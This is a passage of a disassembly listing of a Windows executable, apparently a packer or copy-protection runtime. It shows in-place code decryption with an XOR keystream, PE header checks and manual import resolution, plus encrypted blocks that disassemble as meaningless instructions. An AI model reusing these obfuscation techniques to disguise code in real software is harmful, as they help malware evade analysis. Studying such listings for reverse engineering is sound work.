sub_4182B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418371	proc near		; CODE XREF: sub_4182B0+BAp
					; DATA XREF: _4:00421440o
		mov	ecx, ds:dword_424868
		mov	[ebp-2Ch], ecx
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_41838D
		mov	edx, [ebp-2Ch]
		add	edx, 10h
		push	edx
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_41838D:				; CODE XREF: sub_418371+Dj
		retn
sub_418371	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4182B0


loc_41838E:				; CODE XREF: sub_4182B0+53j
					; sub_4182B0+BFj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4182B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41839F	proc near		; CODE XREF: sub_41847D+Cp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041846E SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421448
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_34], edx
		mov	[ebp+var_30], ecx
		mov	eax, offset dword_411740
		push	dword ptr [eax+4]
		call	ds:dword_424644	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		sub	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	ecx, [ebp+var_2C]
		add	ecx, eax
		mov	[ebp+var_28], ecx
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_20], eax
		jmp	short loc_41841A
; ---------------------------------------------------------------------------


loc_418413:				; CODE XREF: sub_41839F+9Dj
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax


loc_41841A:				; CODE XREF: sub_41839F+72j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jz	short loc_41843E
		mov	eax, [ebp+var_1C]
		imul	eax, 19660Dh
		add	eax, 3C6EF35Fh
		mov	ecx, [ebp+var_1C]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+var_1C]
		mov	[eax], cl
		jmp	short loc_418413
; ---------------------------------------------------------------------------


loc_41843E:				; CODE XREF: sub_41839F+81j
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_20]
		push	ds:dword_42460C
		call	ds:dword_4245F0	; FlushInstructionCache
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41845F
		jmp	short loc_41846E
sub_41839F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41845F	proc near		; CODE XREF: sub_41839F+B9p
					; DATA XREF: _4:00421450o
		mov	eax, offset dword_411740
		push	dword ptr [eax+4]
		call	ds:dword_4246D4	; RtlLeaveCriticalSection
		retn
sub_41845F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41839F


loc_41846E:				; CODE XREF: sub_41839F+BEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_41839F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41847D	proc near		; CODE XREF: sub_411B9Ej

arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		pusha
		xor	edx, edx
		lea	ecx, [ebp+arg_0]
		call	sub_41839F
		popa
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_41847D	endp

; ---------------------------------------------------------------------------


loc_418496:				; CODE XREF: _3:00411BA3j _3:00411BA8j
		mov	ecx, 0EF000008h
		call	sub_41BA32

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184A0	proc near		; CODE XREF: sub_418730+25p
					; sub_418780+144p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], 0
		jmp	short loc_4184BC
; ---------------------------------------------------------------------------


loc_4184B3:				; CODE XREF: sub_4184A0+E0j
					; sub_4184A0+276j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4184BC:				; CODE XREF: sub_4184A0+11j
		mov	ecx, [ebp+var_8]
		imul	ecx, 14h
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx+0Ch], 0
		jnz	short loc_4184D1
		jmp	loc_41871B
; ---------------------------------------------------------------------------


loc_4184D1:				; CODE XREF: sub_4184A0+2Aj
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		add	edx, [ecx+eax]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		add	edx, [ecx+eax+10h]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		cmp	ecx, [eax+34h]
		jnz	short loc_418509
		mov	edx, [ebp+var_20]
		mov	[ebp+var_C], edx
		jmp	short loc_418517
; ---------------------------------------------------------------------------


loc_418509:				; CODE XREF: sub_4184A0+5Fj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_418517
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_C], ecx


loc_418517:				; CODE XREF: sub_4184A0+67j
					; sub_4184A0+6Fj
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+edx+0Ch]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		cmp	dword ptr [eax+edx+4], 0FFFFFFFEh
		setnz	cl
		mov	byte ptr [ebp+var_1C], cl
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx+4], 0
		jnz	short loc_41855D
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4185A7


loc_41855D:				; CODE XREF: sub_4184A0+AEj
		mov	edx, [ebp+arg_10]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_418587
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_41E254
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_418585
		mov	[ebp+var_4], 0
		jmp	loc_4184B3
; ---------------------------------------------------------------------------


loc_418585:				; CODE XREF: sub_4184A0+DAj
		jmp	short loc_4185A7
; ---------------------------------------------------------------------------


loc_418587:				; CODE XREF: sub_4184A0+C8j
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_41E15D
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4185A7
		mov	edx, [ebp+var_24]
		push	edx
		push	offset aTheDynamicLink ; "The dynamic link library '%s' could not"...
		call	sub_41BBE7


loc_4185A7:				; CODE XREF: sub_4184A0+BBj
					; sub_4184A0:loc_418585j ...
		mov	eax, ds:dword_423BC0
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_C]
		mov	ds:dword_423BC0, ecx
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		cmp	eax, [ebp+arg_4]
		jnz	short loc_41862C
		mov	[ebp+var_34], offset aExecutable ; "EXECUTABLE"
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_38], edx


loc_4185D2:				; CODE XREF: sub_4184A0+164j
		mov	eax, [ebp+var_38]
		mov	cl, [eax]
		mov	[ebp+var_39], cl
		mov	edx, [ebp+var_34]
		cmp	cl, [edx]
		jnz	short loc_41860F
		cmp	[ebp+var_39], 0
		jz	short loc_418606
		mov	eax, [ebp+var_38]
		mov	cl, [eax+1]
		mov	[ebp+var_3A], cl
		mov	edx, [ebp+var_34]
		cmp	cl, [edx+1]
		jnz	short loc_41860F
		add	[ebp+var_38], 2
		add	[ebp+var_34], 2
		cmp	[ebp+var_3A], 0
		jnz	short loc_4185D2


loc_418606:				; CODE XREF: sub_4184A0+145j
		mov	[ebp+var_40], 0
		jmp	short loc_418617
; ---------------------------------------------------------------------------


loc_41860F:				; CODE XREF: sub_4184A0+13Fj
					; sub_4184A0+156j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_40], eax


loc_418617:				; CODE XREF: sub_4184A0+16Dj
		mov	ecx, [ebp+var_40]
		mov	[ebp+var_44], ecx
		cmp	[ebp+var_44], 0
		jz	short loc_41862C
		mov	[ebp+var_48], 0
		jmp	short loc_418633
; ---------------------------------------------------------------------------


loc_41862C:				; CODE XREF: sub_4184A0+123j
					; sub_4184A0+181j
		mov	[ebp+var_48], 1


loc_418633:				; CODE XREF: sub_4184A0+18Aj
		mov	dl, byte ptr [ebp+var_48]
		mov	byte ptr [ebp+var_10], dl
		jmp	short loc_41864D
; ---------------------------------------------------------------------------


loc_41863B:				; CODE XREF: sub_4184A0:loc_4186F8j
		mov	eax, [ebp+var_20]
		add	eax, 4
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx


loc_41864D:				; CODE XREF: sub_4184A0+199j
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx], 0
		jz	loc_4186FD
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax+4], 0
		jnz	short loc_418676
		mov	edx, [ebp+var_1C]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4186D4


loc_418676:				; CODE XREF: sub_4184A0+1C7j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_4186A8
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		add	eax, [edx]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	ds:dword_4246A8	; GetProcAddress
		mov	ecx, [ebp+var_20]
		mov	[ecx], eax
		jmp	short loc_4186D4
; ---------------------------------------------------------------------------


loc_4186A8:				; CODE XREF: sub_4184A0+1E3j
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		and	eax, 0FFFFh
		mov	[ebp+var_30], eax
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	ds:dword_4246A8	; GetProcAddress
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4186D4
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_2C]
		mov	[eax], ecx


loc_4186D4:				; CODE XREF: sub_4184A0+1D4j
					; sub_4184A0+206j ...
		mov	edx, [ebp+var_10]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4186F8
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, ds:dword_423BC0
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		call	sub_418E90
		add	esp, 0Ch


loc_4186F8:				; CODE XREF: sub_4184A0+23Fj
		jmp	loc_41863B
; ---------------------------------------------------------------------------


loc_4186FD:				; CODE XREF: sub_4184A0+1B3j
		mov	eax, [ebp+var_18]
		mov	ds:dword_423BC0, eax
		mov	ecx, [ebp+var_8]
		imul	ecx, 14h
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx+4], 0FFFFFFFEh
		jmp	loc_4184B3
; ---------------------------------------------------------------------------


loc_41871B:				; CODE XREF: sub_4184A0+2Cj
		mov	al, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4184A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418730	proc near		; CODE XREF: sub_419529+196p
					; sub_419903+43p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_424894
		add	eax, 1
		mov	ds:dword_424894, eax
		mov	cl, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4184A0
		add	esp, 14h
		mov	[ebp+var_4], al
		mov	eax, ds:dword_424894
		sub	eax, 1
		mov	ds:dword_424894, eax
		mov	al, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_418730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418780	proc near		; CODE XREF: _3:004122C6p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	[ebp+var_14], 0
		call	sub_416C60
		call	sub_41D40A
		call	sub_410386
		mov	eax, ds:dword_424604
		mov	ecx, [eax+4]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_14]
		add	eax, [edx+3Ch]
		mov	ds:dword_424890, eax
		mov	ecx, ds:dword_424890
		cmp	dword ptr [ecx], 4550h
		jz	short loc_4187CD
		mov	ecx, 0EF000002h
		call	sub_41BA32


loc_4187CD:				; CODE XREF: sub_418780+41j
		mov	edx, ds:dword_424618
		sub	edx, 3
		mov	[ebp+var_4], edx
		mov	[ebp+var_10], 0
		jmp	short loc_4187EB
; ---------------------------------------------------------------------------


loc_4187E2:				; CODE XREF: sub_418780+90j
					; sub_418780+110j
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_4187EB:				; CODE XREF: sub_418780+60j
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_4]
		jnb	loc_418895
		mov	edx, [ebp+var_10]
		imul	edx, 28h
		mov	eax, ds:off_42461C
		add	eax, edx
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [ecx+0Ch], 0
		jnz	short loc_418812
		jmp	short loc_4187E2
; ---------------------------------------------------------------------------


loc_418812:				; CODE XREF: sub_418780+8Ej
		cmp	[ebp+var_10], 20h
		jnb	short loc_418839
		mov	edx, 1
		mov	ecx, [ebp+var_10]
		shl	edx, cl
		mov	eax, ds:dword_424604
		mov	ecx, [eax+10h]
		and	ecx, edx
		test	ecx, ecx
		jz	short loc_418839
		mov	[ebp+var_28], 1
		jmp	short loc_418840
; ---------------------------------------------------------------------------


loc_418839:				; CODE XREF: sub_418780+96j
					; sub_418780+AEj
		mov	[ebp+var_28], 0


loc_418840:				; CODE XREF: sub_418780+B7j
		mov	edx, [ebp+var_28]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_10], 20h
		jnb	short loc_41886E
		mov	eax, 1
		mov	ecx, [ebp+var_10]
		shl	eax, cl
		mov	ecx, ds:dword_424604
		mov	edx, [ecx+14h]
		and	edx, eax
		test	edx, edx
		jz	short loc_41886E
		mov	[ebp+var_2C], 1
		jmp	short loc_418875
; ---------------------------------------------------------------------------


loc_41886E:				; CODE XREF: sub_418780+CAj
					; sub_418780+E3j
		mov	[ebp+var_2C], 0


loc_418875:				; CODE XREF: sub_418780+ECj
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	loc_418940
		jmp	loc_4187E2
; ---------------------------------------------------------------------------


loc_418895:				; CODE XREF: sub_418780+71j
		mov	edx, ds:dword_424604
		mov	eax, [ebp+var_14]
		add	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	ds:dword_424894, 0
		push	0
		push	offset aExecutable ; "EXECUTABLE"
		mov	ecx, ds:dword_424890
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4184A0
		add	esp, 14h
		call	sub_4198F2
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4188EF


loc_4188DA:				; CODE XREF: sub_418780+168j
		call	sub_419903
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4188EA
		jmp	short loc_4188DA
; ---------------------------------------------------------------------------


loc_4188EA:				; CODE XREF: sub_418780+166j
		call	sub_4198F2


loc_4188EF:				; CODE XREF: sub_418780+158j
		push	offset aImm32_dll ; "imm32.dll"
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_418911
		push	offset aImm32_dll ; "imm32.dll"
		mov	ecx, [ebp+var_18]
		push	ecx
		call	sub_418B30


loc_418911:				; CODE XREF: sub_418780+181j
		push	offset aOleoaut32_dll ;	"oleoaut32.dll"
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_418933
		push	offset aOleaout32_dll ;	"oleaout32.dll"
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_418B30


loc_418933:				; CODE XREF: sub_418780+1A3j
		mov	esp, ebp
		pop	ebp
		retn
sub_418780	endp

; ---------------------------------------------------------------------------
		align 10h


loc_418940:				; CODE XREF: sub_418780+10Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 0F8h
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_418A0A
		push	300000h
		call	sub_411B9E
		scasd
		fsubr	qword ptr [edx-5Ah]
		test	byte ptr [eax-8], 74h
		sub	al, 0F9h
		rol	dword ptr [ebp-72h], 1
		cld
		not	byte ptr [ebx+3]
		xchg	eax, ebp
		mov	esp, 0A2AFBC1Ah


loc_418977:				; CODE XREF: _3:004189C1j
		loope	loc_4189AB
		xchg	eax, esp
		sbb	dl, dh
		mov	ebx, 56D12C79h
		popa
; ---------------------------------------------------------------------------
		dw 0F9DDh
		dd 0A45DFECh, 86617447h, 5D6A1A75h, 4FA2C3Fh, 0E4882266h
		dd 7C7720B6h, 5E2DD34Bh, 59B101F6h
		db 4Ch
; ---------------------------------------------------------------------------


loc_4189A5:				; CODE XREF: _3:004189D2j
		aas
		movsd
		cli
		out	0D3h, eax
; ---------------------------------------------------------------------------
		db 1
; ---------------------------------------------------------------------------


loc_4189AB:				; CODE XREF: _3:loc_418977j
		out	0F5h, al
		mov	ecx, 0CCDFBDCAh
		pop	edx
		movsb
		push	es
		inc	edx
		call	near ptr 0F982C5FFh
		and	[edi+eax], edx
		xchg	dl, dl
		aas
		jl	short loc_418977
		retf
; ---------------------------------------------------------------------------
		dd 85929F63h
		db 6Fh,	4, 77h
; ---------------------------------------------------------------------------


loc_4189CB:				; CODE XREF: _3:00418A47j
		push	ecx
		inc	esp
; ---------------------------------------------------------------------------
		db 0A0h, 0F2h, 0E2h
		db 0C4h
; ---------------------------------------------------------------------------


loc_4189D1:				; CODE XREF: _3:00418A3Bj
		cld
		loope	loc_4189A5
		mov	dl, 0CFh
		retn	0C7DAh
; ---------------------------------------------------------------------------
		db 57h,	0B8h, 0FBh
		dd 394BED42h, 1926E82Ah, 9F86520Ch, 0B1BECB0Bh
; ---------------------------------------------------------------------------
		or	esp, ebp
		clc


loc_4189EF:				; CODE XREF: _3:00418A2Dj
		mov	dl, 70h
		arpl	[esi+5Eh], dx
		pop	esp
		xor	[edx], esp
		adc	eax, 1E112F9Fh	; CODE XREF: _3:00418A08j
		sub	edx, eax
		fld	st(3)
		mov	al, ds:33909093h
		leave
		test	ecx, ecx
		jnz	short near ptr loc_4189F7+1


loc_418A0A:				; CODE XREF: _3:00418950j
		cmp	dword ptr [ebp+8], 0
		jz	loc_418B1D
		mov	dword ptr [ebp-0E4h], 0
		push	5F0000h
		call	sub_411B9E
		mul	esp
		mov	dl, 5Ch
		push	ds
		jp	short loc_4189EF
		sub	al, 44h
		cdq
		stc
		jge	short loc_418A83
		add	al, 1Eh
		bound	edi, [ebx]
		int	0DCh		; used by BASIC	while in interpreter
		jle	short loc_4189D1
		xchg	edi, [edx+19h]
		or	cl, [esi+eax*2-1094D3C7h]
		jnb	short loc_4189CB
		or	al, 0DEh
		rol	esp, 1
		retn
; ---------------------------------------------------------------------------
		fadd	dword ptr [edx-70h]
		xor	dword ptr [esi+1Dh], 0FFFFFFF2h
		mov	ah, 34h
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 1Bh,	0Eh, 1
		dd 0CD319D80h, 8E09B3C0h, 9A8DAF91h, 47C57024h,	0FD0AE45Eh
		dd 3AA497F0h, 0E3A2AFBCh, 616E98FAh, 0D29AD054h
		db 0ACh, 0ECh, 11h
; ---------------------------------------------------------------------------


loc_418A83:				; CODE XREF: _3:00418A33j
		adc	[edx-28552D21h], eax
		db	67h
		mov	bl, 0EBh
		test	eax, 22297BFDh
		test	al, 36h
		sub	[ebx+edi*2], ebx
		dec	eax
		sub	ch, al
		fcmovne	st, st(6)
		mov	ebp, 0CFEE508Dh
		arpl	[ebx+66h], si
		pop	ecx
		cmp	[ecx], al
		or	al, 33h
		in	eax, 7		; DMA controller, 8237A-5.
					; channel 3 current word count
		movsb
		test	edx, ebx
		stosd
		aam	41h
		mov	esp, 9BFBE2F8h
		outsd
		bound	edx, [ebp+3Eh]
		dec	ecx
		shl	dword ptr [ecx], 14h
		pop	es
		mov	es, word ptr [edi-46392CF5h]
		add	ebx, ebp
		call	near ptr 5EAD0331h
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		db	36h
		inc	ebp
		lds	ebx, ds:9D580310h
		mov	dh, 10h
		retn	0A8B5h
; ---------------------------------------------------------------------------
		db 36h,	99h, 91h
		dd 31A5980Ah, 265CDC7Bh, 2A650A87h, 0A641761Bh,	827558ACh
		dd 0B6A9EFE7h, 7A7938C3h, 9090FB08h, 0C085C033h, 8D8BEE75h
		dd 0FFFFFF1Ch, 0FF088D89h, 958BFFFFh, 0FFFFFF08h, 2FB3E852h
		dd 0C4830000h
		db 4
; ---------------------------------------------------------------------------


loc_418B1D:				; CODE XREF: _3:00418A0Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B30	proc near		; CODE XREF: sub_418780+18Cp
					; sub_418780+1AEp ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, ds:dword_424894
		add	eax, 1
		mov	ds:dword_424894, eax
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_423BC0, ecx
		push	9
		lea	ecx, [ebp+var_28]
		call	sub_41EA57
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418B90
		add	esp, 0Ch
		mov	ecx, ds:dword_424894
		sub	ecx, 1
		mov	ds:dword_424894, ecx
		mov	[ebp+var_2C], 1
		lea	ecx, [ebp+var_28]
		call	sub_41EB05
		mov	eax, [ebp+var_2C]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_418B30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B90	proc near		; CODE XREF: sub_418B30+30p
					; sub_418B90+24Bp

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421458
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_418BC1
		jmp	loc_418E7C
; ---------------------------------------------------------------------------


loc_418BC1:				; CODE XREF: sub_418B90+2Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_30], edx
		jmp	short loc_418BDE
; ---------------------------------------------------------------------------


loc_418BD5:				; CODE XREF: sub_418B90:loc_418BF3j
		mov	eax, [ebp+var_30]
		mov	ecx, [eax+4]
		mov	[ebp+var_30], ecx


loc_418BDE:				; CODE XREF: sub_418B90+43j
		cmp	[ebp+var_30], 0
		jz	short loc_418BF5
		mov	edx, [ebp+var_30]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_418BF3
		jmp	loc_418E7C
; ---------------------------------------------------------------------------


loc_418BF3:				; CODE XREF: sub_418B90+5Cj
		jmp	short loc_418BD5
; ---------------------------------------------------------------------------


loc_418BF5:				; CODE XREF: sub_418B90+52j
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		call	sub_41EB4C
		test	eax, eax
		jz	short loc_418C0A
		jmp	loc_418E7C
; ---------------------------------------------------------------------------


loc_418C0A:				; CODE XREF: sub_418B90+73j
		mov	edx, ds:dword_424894
		add	edx, 1
		mov	ds:dword_424894, edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	ecx, ds:dword_423BC0
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		add	eax, [edx+3Ch]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		cmp	dword ptr [ecx], 4550h
		jnz	loc_418E31
		cmp	ds:dword_424600, 1
		jnz	short loc_418C6A
		cmp	[ebp+arg_0], 80000000h
		jbe	short loc_418C6A
		push	0
		push	0
		push	0
		push	0
		call	ds:dword_4246F8	; RaiseException


loc_418C6A:				; CODE XREF: sub_418B90+C1j
					; sub_418B90+CAj
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_34]
		add	eax, [edx+80h]
		mov	[ebp+var_20], eax
		mov	[ebp+var_4], 1
		cmp	ds:dword_424600, 1
		jnz	short loc_418D07
		mov	[ebp+var_40], 0
		jmp	short loc_418C9B
; ---------------------------------------------------------------------------


loc_418C92:				; CODE XREF: sub_418B90:loc_418D05j
		mov	ecx, [ebp+var_40]
		add	ecx, 1
		mov	[ebp+var_40], ecx


loc_418C9B:				; CODE XREF: sub_418B90+100j
		mov	edx, [ebp+var_38]
		xor	eax, eax
		mov	ax, [edx+6]
		cmp	[ebp+var_40], eax
		jnb	short loc_418D07
		mov	ecx, [ebp+var_38]
		xor	edx, edx
		mov	dx, [ecx+14h]
		mov	eax, [ebp+var_38]
		lea	ecx, [eax+edx+18h]
		mov	edx, [ebp+var_40]
		imul	edx, 28h
		add	ecx, edx
		mov	[ebp+var_44], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+0Ch]
		cmp	ecx, [ebp+var_20]
		ja	short loc_418D05
